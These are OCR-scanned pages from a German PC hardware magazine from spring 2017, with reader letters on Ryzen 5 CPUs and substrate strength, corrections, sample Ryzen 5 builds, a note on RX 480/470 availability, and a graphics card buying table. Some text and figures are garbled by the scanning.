Welche CPU bremst meine GTX 1080 nicht 
aus? Bóte der AMD Ryzen 5 1600X eine nennens- 
werte Leistungssteigerung gegenüber meinem 
alten Core i7-2600? 

Rainer R., per E-Mail 


Stephan Wilke: Den Sockel 2066 erwarten wir 
im Sommer 2017, für den Sockel 1151 rechnen 
wir mit Nachschub in Form von Coffee Lake mit 
bis zu sechs Kernen. Wenn Sie heute aufrüsten 
und nicht Monate warten möchten, dann ist 
der Ryzen 5 1600X wohl eine gute Wahl, insbe- 
sondere da Sie den PC nicht nur zum Spielen 
nutzen. Ein Core i7-7700K beispielsweise ist in 
Spielen zwar flotter, aber rund 70 Euro teurer 
und in Anwendungen etwas langsamer. Sowohl 
in Spielen als auch in Anwendungen ist die 
Mehrleistung gegenüber einem Core 17-2600(K) 
deutlich spürbar, im Durchschnitt betrágt der 
Vorsprung des 1600X über 40 Prozent. 


Wenn Sie in Spielen bevorzugt die native Auf- 
lósung 2.560 x 1.600 und hohe/maximale 
Grafikdetails nutzen, sollte nur in Ausnahme- 
fällen der Prozessor und nicht die Grafikkar- 
te die Framerate begrenzen. Falls für Sie das 
Übertakten infrage kommt, dann kónnten Sie 
auch zum Ryzen 5 1600 für 30 Euro weniger 
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Community 


Www.pcgh.de/print 


AuBer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverstàndlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


greifen. Diesem Modell fehlen zwar 400 MHz 
auf den 1600X, den Taktunterschied können 
Sie dank des offenen Multiplikators auf einem 
X370/B350-Mainboard aber mit hoher Wahr- 
scheinlichkeit leicht ausgleichen. Beachten Sie 
allerdings, dass DDR4-3000 aktuell von keinem 
CPU-Hersteller offiziell unterstützt wird und Sie 
den RAM-Takt gegebenenfalls senken müssen. 


Ryzen-PCB leicht zu verformen? 

Ich erinnere mich noch an das PCGH-in- 
Gefahr-Video, wo ihr den Skylake-PC mit dem 
schweren Turmkühler fallen gelassen habt und 
nachher die CPU-Platine verbogen war, der 
Rechner aber erstmal noch anstandslos lief. 

Mich würde sehr interessieren, wie diese 
Tests mit einem AMD-System verlaufen wären, 
weil AMD ja einen PGA-Sockel hat, der eigent- 
lich mehr aushalten sollte als die LGA-Lösung 
von Intel, wo die CPU-Platine ja nur auf den fe- 
dernden Pins im Sockel aufliegt, nicht aber wie 
bei AMD vom Sockel selbst mit stabilisiert wird. 

Außerdem wüßte ich auch gerne, ob AMD di- 
ckere CPU-Platinen beim Ryzen R5 und R7 ver- 
wendet als Intel bei den Skylake- bzw. Kaby-La- 
ke-CPUs? 

Habt ihr mal solche Tests mit AMD-Systemen 
gemacht - und sei es nur mit AM3+, weil die 
AM4-Prozessoren ja noch recht neu und teuer 
sind - oder ist sowas mit AM4 geplant? 

Tim1974, per PCGHX-Forum 


Torsten Vogel: Das PCGH-in-Gefahr-Video 
diente vor allem der Veranschaulichung nach- 
dem mehrere Berichte über beschädigte CPUs 
und offensichtliche Überschreitungen der spe- 
zifizierten Anpresskraft durch einige Kühler 
vorlagen. Ein seriöser Stabilitätstest ließe sich 
so nicht durchführen und dementsprechend ist 
auch keine Wiederholung mit Ryzen geplant. 
Ich bin aber ebenfalls der Ansicht, dass PGA- 
ZIF-Packages dank der großen Auflagefläche 
wesentlich höhere Kräfte aushalten können, zu- 
mal Heatspreader und Kühlerauflagefläche fast 
bis zum Rand des Substrates reichen und dieses 
gleichmäßiger belasten. Die Dicke des Substrates 
bei Ryzen habe ich nicht extra nachgemessen, 
aber subjektiv sind mir keine Unterschiede zu 
den Substraten von CPUs für die Sockel AM2/3, 
754/939 oder noch älteren Modellen aufgefallen. 


Was aber in Vorbereitung ist: Eine erneute Mes- 
sung von Sockel-1151-Anpresskräften mit einem 
verbesserten Teststand. Zwar liegen keine ak- 
tuellen Ausfallmeldungen mehr vor, aber Kaby 
Lake sollte die gleiche Empfindlichkeit aufwei- 
sen und einige Kühlerhersteller haben bis heute 
keinen Fehler eingestanden - Zeit also, nachzu- 
gucken. 


Korrekturen 


Ryzen-Special (PCGH 05/2017, ab S. 34) 

AMD versprach für Promontory (X370/B350/A320) 
PCI-E-3.0-Funktionalitát, aber nur Gigabyte schien 
diese (für SATA-E) zu nutzen. Nach Redaktions- 
schluss wurden dann auch die Spezifikationen der 
SATA-E-Ports des AX370-Gaming 5 auf 2.0-Ge- 
schwindigkeit korrigiert, PCI-E 3.0 ist somit bei AMA 
allgemein nur über die CPU nutzbar. Die Wertung 
ándert sich nur in der dritten Nachkommastelle. 


Mainboards allgemein (vor allem 08/2016) 

Der Wertungsfaktor für drei regelbare Lüfterkanäle 
wurde in allen PCGH-Testtabellen um eine 10er-Po- 
tenz nach unten korrigiert. Direkt betroffen sind As- 
rocks B150M Pro4S (Endnote 3,28 statt 2,98) und 
MSIs H170A PC Mate (jetzt 3,11 statt 2,81). Beide 
verlieren Plätze in der PCGH-Rangliste, das B150M 
Pro4S behält dennoch knapp seinen Spar-Tipp. 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


außerdem vor, Leserbriefe zu kürzen. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in 
Deutschland! www.pcgh.de/alternate 


Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: | 
pcgh.de/digital-ausgabe 


JP Einzelheft bestellen: 
www.pcgh.de/heft 


www.pcgameshardware.de 
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Worte des Monats 


„Ich war dumm genug, alles in ihre Hände zu 
legen, weil ich nicht an ihren Erfolg glaubte.” 


Schriftsteller Andrzej Sapkowski in einem Gespräch mit Eurogamer.net — Er verkaufte in den 
frühen 2000ern die Rechte für Videospiele mit Hexer Geralt von Riva (The Witcher) an CD 
Projekt und entschied sich zugunsten eines Fixbetrags gegen eine prozentuale Vergütung. 


Bild des Monats 


Rossis Restekiste 


Dubstein 


Inzwischen sind wir es ja gewohnt, dass sich die seltsamsten Geräte mittels Blue- 
tooth verbinden. Auch kabellose Lautsprecher mit dieser Technik sind ein alter Hut. 
Neu ist hingegen der Maßkrug, oder zumindest das, was man in Amerika darunter 
versteht, welcher sich mit dem Handy verbindet und so Musik und Sprache über 
den eingebauten Lautsprecher wiedergeben kann. Ganz abgesehen vom fragwür- 
digen Nutzwert (das Ding soll immerhin 99 US-Dollar kosten) würde man in Bayern Die Titan Y bietet eine voll ausgebaute GP102-GPU mit 3.840 Shader-Einheiten und 
lieber verdursten, als aus so einem tönenden Plastikklumpen zu trinken. 1.741 MHz Boost-Takt sowie 24 GiByte GDDR5X-RAM für saftige 2.999 Euro — unser 
www.amazon.com/dp/BO1LX4TLSP diesjähriger Aprilscherz. Der Online-Test zum Nachlesen: www.pcgh.de/titan-y 
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Projekt-PCs: Ryzen 5 


In jeder Ausgabe stellt die PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen 


Sie sich orientieren können, um einen eigenen PC zu bauen. 


ach Ryzen 7 folgt AMDs zwei- 
N: Schlag: Ryzen 5. Mit Preisen 
von unter 300 Euro konkurrieren 
die neuen Sechs- und Vierkerner ge- 
gen Intels Core-i5-CPUs und können 
diese durchaus in Bedrängnis brin- 


der R5 1600 erscheinen mit zwölf 
logischen Threads als eine attrak- 
tive Alternative. Vier Kerne ohne 
SMT mögen heute zwar zum Spielen 
ausreichen, wirklich zukunftssicher 
ist man damit aber nicht mehr auf- 


Takt (Instructions per Core, IPC) 
auf einem vergleichbaren Niveau 
wie bei Intels Core-i liegt, lassen 
sich Kernangaben einigermaßen 
miteinander vergleichen. Für nicht 
allzu ambitionierte Übertakter ha- 


R5 1600X und R5 1500X zusammen- 
gestellt, welche die Preisbereiche 
von knapp 800 beziehungsweise 
gut 1.000 Euro abdecken. Wer über- 
takten möchte, kann zum R5 1600 
greifen, um Geld zu sparen oder 


gen. Vor allem der R5 1600X und 


Render-PC 


gestellt. Jetzt, da Zens Leistung pro 


ben wir zwei Systeme auf Basis des 


Gaming-PC 


mehr Kerne zu erhalten. 


(mm) 


Komponente 


Hersteller und Produkt 


Preis 


Komponente 


Hersteller und Produkt 


Preis 


Prozessor 


AMD Ryzen 5 1500X 


€ 205,- 


Prozessor 


AMD Ryzen 5 1600X 


€ 280,- 


CPU-Kühler 


Wraith Spire (Boxed) 


CPU-Kühler 


Thermalright HR-02 Macho Rev. B 


€45,- 


Grafikkarte (AMD) 


Powercolor Radeon RX 570 Red Dragon 


€ 190,- 


Grafikkarte (AMD) 


Gigabyte Aorus Radeon RX 580 XTR 8G 


EE ME 


Grafikkarte (Nvidia) 


КЕА2 Geforce GTX 1060 3GB ЕХОС 


€ 190,- 


Grafikkarte (Nvidia) 


Gainward Geforce GTX 1060 6 GB Phoenix 


€ 290,- 


Mainboard 


Asrock AB350M Pro4 


Sr 


Mainboard 


MSI B350 PC Mate 


€ 100,- 


Arbeitsspeicher 


Kingston Hyperx Fury, 2x 8 GiB, DDR4-2666 


€ 140,- 


Arbeitsspeicher 


Kingston Hyperx Fury, 2x 8 GiB, DDR4-2666 


€ 140,- 


SSD 


Intel SSD 600p 128 GB 


65 


SSD 


Samsung SSD 850 Evo 250 GB 


Br 


Netzteil 


Be quiet Straight Power 10 400 W 


х ns 


Netzteil 


Seasonic G-550 550 W PCGH-Edition 


€ 90,- 


Gesamtpreis (ab) € 755,- 


Ryzen 5 1500X 

Der R5 1500X spielt mit gut 200 Euro 
in der Preisliga des Core 15-7500, kann 
neben vier Kernen aber auch mit SMT 
(8 Threads) aufwarten. Abseits von 
Spezialfállen wie Starcraft 2 ist die Ry- 
zen-CPU daher eine gute Alternative. 
Der beiliegende CPU-Kühler Wraith 
Spire ist solide und für Mittelklasse-PCs 
allemal ausreichend. 


Asrock AB350M Pro4 

Das Asrock AB350M Pro4 gehórt aktuell 
zu den günstigsten AM4-Mainboards, 
bietet aber trotzdem eine ordentliche 
Spannungsversorgung und Anschluss- 
vielfalt. Lediglich das USB 3.1 des B350- 
Chips wird leider nicht ausgeführt. Wer 
die schnellen Anschlüsse haben möchte, 
sollte zusätzliche 15 Euro in das MSI 
B350 PC Mate investieren. 


x 
лмо geren 5 1590 


SV ZER 


Bild: Asrock 


Alternativ-Komponenten 


I MSI B350 PC Mate (mit USB 3.1) 


I Radeon RX 480 oder RX 470 aus dem Abverkauf (allerdings nicht 


mehr gut erháltlich) 
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Gesamtpreis (ab) € 1.040,- 


Ryzen 5 1600X 

Der R5 1600X stellt einen R7 1800X 
mit zwei deaktivierten Kernen dar. Der 
Takt bleibt mit 3,6 bis 4,1 GHz (inklu- 
sive XFR) hoch, sodass auch Spiele gut 
laufen, die keine sechs Kerne auslasten 
können. Im Gegensatz zum R5 1600 
liegt allerdings kein Boxed-Kühler bei, 
sodass Nutzer auf die karge AM4-Aus- 
wahl zurückgreifen müssen. 


Gigabyte Aorus RX 580 XTR 
Gigabytes Aorus RX 580 XTR gehórte 
zum Redaktionsschluss zu den wenigen 
liefer- und bezahlbaren Custom-Designs 
der Radeon RX 580. Der 2,5 Slot dicke 
Kühlkörper ist mächtig, die Lösung spä- 
testens mit einer Anpassung der Lüf- 
terkurve leise. Wer ein günstiges, gutes 
Konkurrenzmodell findet, kann auch 
dieses bestellen. 


anonym’ jux 


ахте\ 


Bild: Gigabyte 


Alternativ-Komponenten 


1 Ryzen 5 1600 zum Übertakten 


I Asus X370 Prime für acht statt sechs SATA-6Gbit/s-Anschlüsse, 


bessere Spannungsversorgung 
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TESTEN SIE JETZT 3 AUSGABEN FÜR 16,90 € 


OHNE DVD 12,90 € 


⁄ 
| Doppelseitiger m. 


таг А 
. 1 s. Debian: Datenträger, S. 45 ; 
еа" д Mailserver іп einem 
Zwei т ____ "n Rutsch installieren: 


für die RPM- und Deb Wertvoller 
сле ablegen ч J 
і Datenbanken 2017: R - geg 
= Container in í 


Im Test: Admint im Container oder als p 
Wie Virtualisierung und Container f 
die Sicherheitslage verändern 4 


Mail-in-a-Box s.52 


Mi сһае! Schilli informiert 
ich per Smartphone über 
ERE uchsversuche ^ 80 


für Systemd ` "opens 
s, die Systemd-Normall en-Stack-Worksho; 
Fón! En an отам und Autopilot instal p: Be 


bech lieren ECH 
Bit-SLES für r den Wei É 3j 


| mes ABO-VORTEILE 
M -Günstiger als am Kiosk 
| Grammatikprüer ° Versandkostenfrei 


Wider die Lácherlichkeit: c x 


re etie bequem per Post 
= + Pünktlich und aktuell 
° Keine Ausgabe verpassen 


Telefon: 0911 / 993 990 98 
Fax: 01805 / 86 180 02 
E-Mail: computec@dpv.de 
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Einkaufsführer 


Preisentwicklung und Kauftipps www.pcgh.de/einkaufsfuehrer 


RX 400 kaum 
noch verfügbar 


AMDs Abverkauf der RX-400-Grafikkarten war of- 
fenbar besser geplant als bei vorherigen Generatio- 
nen. Zum Marktstart der Radeon RX 580 und RX 570 
sind die RX 480 und RX 470 nur noch schlecht verfüg- 
bar. Einzelne Angebote gibt es nach wie vor, schnell 
bewegen sich die Preise jedoch in Bereichen, bei 
denen Nutzer zu den Nachfolgern greifen kënnten. 


isher war es bei Radeon-Grafikkarten Tradi- 
B dass zu einer Veróffentlichung alte Mo- 
delle besonders günstig im Abverkauf ergattert 
werden konnten. Da die Nachfolger häufig nur Re- 
brands oder Refreshes darstellten, bekamen die 
Käufer eine ähnliche Leistung für weniger Geld. 
AMD gab zu, dass das an zu hohen Lagerbestän- 
den lag, und hat offenbar aus der Vergangenheit 
gelernt. Im Falle der Radeon RX 480 und RX 470 
sieht die Verfügbarkeit jetzt, als AMD die RX 580 


Bild: Aidbox 


und RX 570 veróffentlicht hat, nicht mehr gut aus. Preisentwicklung MSI Radeon RX 480 Gaming X 8G 
Die Preise gingen bereits in den letzten Wochen 350 p 
runter, sind inzwischen wegen der geringen La- = 349 Euro 
gerbestände aber wieder gestiegen. Die alten RX- 
480-Topmodelle waren zum Redaktionsschluss е 310 
deshalb nur noch vereinzelt für attraktive 245 = 
bis 260 Euro erhältlich, darunter beispielsweise 5 290 
Asus' ROG Strix. Hàufig ging es schon in die Re- f 330 
gion von 280 oder gar 300 Euro, in der der Kauf 
einer Radeon RX 480 nicht mehr ratsam ist. Be- 250 
reits kurz nach der Veróffentlichung der RX 580 ‚7 333 Euro 
waren die großen Custom-Designs für 290 Euro 230 GE Ic 
verfügbar. Da die Kühllósungen in vielen Fällen Zeit E 
verbessert worden sind und AMD per Firmware = 
endlich die hohe Leistungsaufnahme im Leer- 
lauf behoben hat, sollten Interessenten in die- Preisentwicklung XFX Radeon RX 480 GTR 
sem Preisbereich zum Polaris-Refresh greifen. 
340 
Ähnlich verhält es sich bei der Radeon RX 470, 
die preislich schon immer ein schwieriges Los 320 IT 
hatte. Kaum ein Custom-Design ist noch für e 
weniger als 200 Euro erhältlich und genau dort d 300 
sind bereits die ersten RX-570-Karten kurz nach Е 
dem Verkaufsstart gelandet. Für den Endnutzer 2 280 
ist das nur erfreulich, da der sprichwörtliche 
alte Wein in neuen Schläuchen nicht unverhält- 260 
nismäßig viel mehr kostet als die ersten Polaris- Jti 
Grafikkarten - Interessenten müssen nicht 240 ENS > NU 
mehr auf niedrige Straßenpreise warten. (mm) Zeit š 
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ANZEIGE 


Werbefrei 


surfen! 


In der ersten Ausbaustufe erlaubt das 
PCGH-Online-Abo, dass Sie PCGH.de und 
das Extreme-Forum frei von externen 
Werbemitteln nutzen können. Das gilt für 
jegliche Display- und Videowerbung. Das 
aktive Online-Abo führt zu schnelleren 
Ladezeiten und auf Mobilgeräten spart es 
auch Datenvolumen. 


Bestehende Print-Abonnenten können 
kostengünstig per Upgrade (6 Euro im 
Jahr, Monatspreis: 50 Cent) das Online- 
Abo hinzubuchen oder gleich die Digital- 
ausgabe hinzubestellen (12 Euro im Jahr, 
Monatspreis: 1 Euro). Diese beinhaltet ne- 
ben dem Online-Abo zudem die digitalen 
Ausgaben als E-Paper-PDF sowie den Zu- 
griff auf die App-Ausgaben (www.pcgh. 
de/digital-ausgabe). Wer ein Digital- 
Abo oder ein Kombi-Abo Digital + Print 
von PC Games Hardware besitzt, bekommt 
das Online-Abo dazu. 


Sie wollen Ihr Montano auf das Digitalabo 
| i Problem: Wenden 


Funktioniert auf PCGH.de 
und PCGH Extreme 


Geht neben Desktop-PC "d 
auf Smartphones & Tablets 


eg eer enëng £ 


еСЗАБО 


Jetzt Online- Abo ` 
abschließen ¿ç 


wissen müssen 


m ° 
a, 
Online 


werbefrei 


— tys 


PCGH-Webseite ” 


te Videos 


Weitere Informationen finden Sie unter: 


www.pcgh.de/online-abo 


Leserservice Computec Media 


20080 Hamburg | Tel: +49 (0)911/99399098 | E-Mail: computec@dpv.de 
Montag: 07:00 Uhr bis 20:00 Uhr Dienstag-Freitag: 07:30 bis 20:00 Uhr Samstag: 09:00 bis 14:00 Uhr Abo 


Online 
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Einkaufsführer Grafikkarten 


Preise: Stand 16.04.2017 


WEITE ERPREIS-LEISTUNGS-TIPP 


LEINE f] SPAR-TIPP 


Benotung auf Basis der aktuellen PCGH-Methodik und Grafiktreiber 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ А Benötigte Lautheit Test in 
Preis | speicher (GPU-Boost/RAM) |(2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
Nvidia GTX 1080 Ti Founder's Ed. * | € 750,- | 11.264 MiB | 1.550+/1.377 MHz | 13/230/250 Wa 26,7/3,5 cm х 8-/1x 6-Pol | 0,4/4,0/4,4 Sone 1,69 05/2017 | www.pcgh.de/preis/1587602 
Zotac GTX 1080 AMP! Extreme €600,- | 8.192 MiB | 1.987+/1.350 MHz | 10/259/275 Wa 31,2/5,0cm | 2х 8-Pol 0,0/1,7/1,9 Sone 1,81 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix СІН | € 570,- | 8.192 МІВ | 1.911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,83 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | €590,- | 8.192 MiB | 1.911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,85 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 €560,- | 8.192 MiB | 1.936+/1.251 MHz | 12/237/247 Wa 27,3/3,5 cm | 2x 8-Pol 0,0/2,4/2,4 Sone 1,87 08/2016 | www.pcgh.de/preis/1449255 
Inno 3D GTX 1080 iChill ХЗ €580,- | 8.192 MiB | 1.949+/1.301 MHz | 12/237/239 Wa 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,9/1,9 Sone 1,88 08/2016 | www.pcgh.de/preis/1449258 
MSI GTX 1080 Gaming X 8G €570,- |8.192 MiB | 1.886+/1.251 MHz | 13/235/245 Wa 27,713,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,89 08/2016 | www.pcgh.de/preis/1449271 
Asus GTX 1080 Strix OC €730,- | 8.192 MiB | 1.898+/1.251 MHz | 8/199/202 Watt 29,9/3,6 cm x 8-/1x 6-Pol | 0,0/3,6/3,6 Sone 1,90 08/2016 | www.pcgh.de/preis/1449229 
Gigabyte GTX 1080 G1 Gaming €560,- | 8.192 MiB | 1.8104/1.251 MHz | 9/200/201 Watt 28,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 1,94 08/2016 | www.pcgh.de/preis/1449277 
Zotac GTX 1070 AMP! Extreme €450,- | 8.192 MiB | 1.987+/4.104 MHz | 12/219/253 Wa 31,2/5,0 cm | 2x 8-Po 0,0/1,6/1,9 Sone 2,07 09/2016 | www.pcgh.de/preis/1456755 
Palit GTX 1070 Game Rock Prem. | € 470,- | 8.192 MiB | 1.936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 2,08 08/2016 | www.pcgh.de/preis/1456802 
Inno 3D GTX 1070 iChill ХЗ €450,- |8.192 MiB | 1.949+/4.104 MHz | 10/190/192 Wa 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,12 09/2016 | www.pcgh.de/preis/1450744 
Asus GTX 1070 Strix OC €490,- |8.192 MiB | 1.911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,13 08/2016 | www.pcgh.de/preis/1450613 
MSI GTX 1070 Gaming X 8G €450,- | 8.192 MiB | 1.924+/4.007 MHz | 11/208/208 Wa 21,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,14 08/2016 | www.pcgh.de/preis/1456552 
EVGA GTX 1070 SC ACX 3.0 €440,- |8.192 MiB | 1.7724/4.007 MHz | 8/149/153 Watt 26,7/3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,14 09/2016 | www.pcgh.de/preis/1456822 
Gigabyte GTX 1070 G1 Gaming €450,- | 8.192 MiB | 1.873+/4.007 MHz | 9/181/182 Wa 28,1/3,5 cm x 8-Po 0,0/3,5/3,5 Sone 2,17 09/2016 | www.pcgh.de/preis/1450713 
Asus GTX 1060 Strix OC €330,- | 6.144 МІВ | 1.987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,47 10/2016 | www.pcgh.de/preis/1478721 
MSI GTX 1060 Gaming X 6G €300,- | 6.144 MiB | 1.949+/4.007 MHz | 8/146/146 Wa 21,7/3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,49 10/2016 | www.pcgh.de/preis/1478791 
Zotac GTX 1060 AMP! €270,- | 6.144 МІВ | 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po 0,0/1,0/1,0 Sone 2,52 10/2016 | www.pcgh.de/preis/1478147 
Gigabyte GTX 1060 G1 Gaming €300,- | 6.144 MiB | 1.962+/4.007 MHz | 9/153/153 Wa 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,53 10/2016 | www.pcgh.de/preis/1479045 
Gainward GTX 1060 Phoenix GS €290,- | 6.144 MiB | 1.860+/4.007 MHz | 6/124/125 Wa 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,54 10/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 300,- | 6.144 MiB 1.860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,56 10/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming €280,- | 6.144 MiB | 1.898+/4.007 MHz | 6/122/125 Wa 18,2/3,5 cm x 6-Po 0,0/2,5/2,5 Sone 2,60 10/2016 | www.pcgh.de/preis/1479077 
Palit GTX 1060 3GB Dual €210,- | 3.072 MiB | 1.848+/4.007 MHz | 6/126/127 Watt 25,3/3,4 cm x 6-Po 0,1/1,4/1,4 Sone 2], 01/2017 | www.pcgh.de/preis/1480332 
KFA2 GTX 1060 3GB OC Є 180,- | 3.072 MiB | 1.810+/4.007 MHz | 9/122/123 Wa 23,4/3,5 cm x 6-Po 0,3/1,5/1,5 Sone 2/79 01/2017 | www.pcgh.de/preis/1494969 
Zotac GTX 1060 3GB Mini € 205,- | 3.072 MiB | 1.797+/4.007 MHz | 9/120/120 Watt 17,5/3,4 cm x 6-Po 1,2/3,4/3,4 Sone 2,83 01/2017 | www.pcgh.de/preis/1495006 
Asus GTX 1050 Ti Strix O4G € 175,- | 4.096 MiB | 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po 0,0/0,8/0,9 Sone 2,90 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | € 170,- | 4.096 MiB | 1.645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,93 01/2017 | www.pcgh.de/preis/1526013 
MSI GTX 1050 Ti Gaming X 4G € 170,- | 4.096 MiB | 1.734+/3.504 MHz | 5,5/75/76 Wat 22,9/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 295 01/2017 | www.pcgh.de/preis/1524111 
EVGA GTX 1050 Ti SC Gaming €165,- | 4.096 MiB | 1.557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 3,00 01/2017 | www.pcgh.de/preis/1525248 
Asus GTX 1050 Expedition € 130,- | 2.048 MiB | 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm 0,0/0,5/0,5 Sone 3,20 01/2017 | www.pcgh.de/preis/1525209 
AMD Radeon EE = 
AMD R9 Fury X ** €480,- | 4.096 MiB | 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 cm | 2x 8-Po| 1,3/1,6/1,6 Sone 2,52 09/2015 | www.pcgh.de/preis/1285788 
MSI RX 480 Gaming X 8G €250,- | 8.192 MiB | 1.303/4.000 MHz 8/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,56 0/2016 | www.pcgh.de/preis/1473074 
Asus R9 Fury Strix €330,- | 4.096 MiB | 970+/1.000 MHz 12/267/274 Wa 30,0/3,5 cm | 2x 8-Po 0,0/2,6/3,1 Sone 2,60 09/2015 | www.pcgh.de/preis/1296495 
Sapphire RX 480 Nitro-- OC 8GB €280,- | 8.192 MiB | 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,61 0/2016 | www.pcgh.de/preis/1477778 
Asus RX 480 Strix OC €260,- |8.192 MiB | 1.260+/4.000 MHz | 18/179/180 Wa 30,0/3,5 cm x 8-Po 0,0/4,2/4,2 Sone 2,62 0/2016 | www.pcgh.de/preis/1479631 
Asus R9 Nano White €370,- | 4.096 MiB | 850+/1.000 MHz 4/198/205 Wa 15,3/3,5 cm x 8-Po 0,8/2,9/2,9 Sone 2,64 06/2016 | www.pcgh.de/preis/1355032 
Powercolor RX 480 Red Devil € 250,- | 8.192 MiB 1.190+/4.000 MHz | 18/199/200 Wa 30,0/3,5 cm x 8-Pol 0,0/2,3/2,3 Sone 2,66 0/2016 | www.pcgh.de/preis/1480295 
XFX RX 480 GTR Black Edition €280,- | 8.192 MiB | 1.320+/4.000 MHz 7/190/203 Wa 28,4/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,67 0/2016 | www.pcgh.de/preis/1485555 
Sapphire RX 480 Nitro+ 4D5 OC €220,- | 4.096 MiB | 1.306/3.500 MHz 14/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,71 0/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro+ 4D5 OC €230,- | 4.096 MiB | 1.2204/3.500 MHz | 15/195/209 Wa 24,0/3,5 cm x 8-Po| 0,0/2,5/2,7 Sone 2:77) 01/2017 | www.pcgh.de/preis/1483308 
MSI RX 470 Gaming X 4G € 200,- | 4.096 MiB | 1.242/3.300 MHz 6/188/222 Wa 27,5/3,5 cm x 8-Po 0,0/1,8/3,0 Sone 29 01/2017 | www.pcgh.de/preis/1488427 
Gigabyte RX 470 G1 Gaming 4G €200,- | 4.096 MiB | 1.230/3.300 MHz 22/184/185 Wa 23,4/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,83 01/2017 | www.pcgh.de/preis/1488416 
HIS RX 470 IceQ X? Turbo €210,- | 4.096 MiB | 1.100+/3.500 MHz 5/160/162 Wa 22,3/3,5 cm x 6-Po 0,0/1,5/1,5 Sone 2,85 01/2017 | www.pcgh.de/preis/1488555 
XFX RX 470 RS Black Edition €195,- | 4.096 MiB | 1.0804/3.500 MHz | 14/152/155 Wa 24,6/3,5 cm x 6-Po 0,0/2,2/2,6 Sone 2,86 01/2017 | www.pcgh.de/preis/1488365 
Powercolor RX 470 Red Devil € 210,- | 4.096 MiB 1.125+/3.500 MHz 711741182 Wa 24,0/3,5 cm x 8-Pol 0,0/4,6/4,7 Sone 2,88 01/2017 | www.pcgh.de/preis/1488318 
Asus RX 470 Strix OC € 195,- | 4.096 MiB | 1.050+/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,90 01/2017 | www.pcgh.de/preis/1488369 
Sapphire R9 380X Nitro € 250,- | 4.096 MiB | 1.040/3.000 MHz 5/239/250 Wa 23,5/3,5 cm | 2x 6-Po 0,0/2,4/2,5 Sone 2.99 01/2016 | www.pcgh.de/preis/1351755 
Asus R9 380X Strix 0C € 270,- | 4.096 MiB | 1.030/2.850 MHz 15/199/203 Wa 27,0/3,7 cm | 2x 6-Po 0,0/1,5/1,5 Sone 3,01 01/2016 | www.pcgh.de/preis/1357101 
MSI R9 380 Gaming 4G N. lief. 4.096 MiB | 980/2.850 MHz 19/209/229 Wa 26,7/3,5 cm | 2x 6-Po 0,0/1,6/2,0 Sone 3,07 09/2015 | www.pcgh.de/preis/1282072 
Asus R9 380 Strix DC20C-2GD5 N. lief. | 2.048 MiB | 990/2.750 MHz 9/220/230 Wa 27,0/3,7 ст | 1x 8-Po 0,0/1,3/1,3 Sone 3,18 09/2015 | www.pcgh.de/preis/1282736 
Sapphire R9 380 ITX Compact € 240,- | 2.048 MiB | 980/2.800 MHz 1/186/210 Wa 17,1/3,5 ст | 1x 8-Po| 0,2/2,3/2,4 Sone 3,20 10/2015 | www.pcgh.de/preis/1280836 
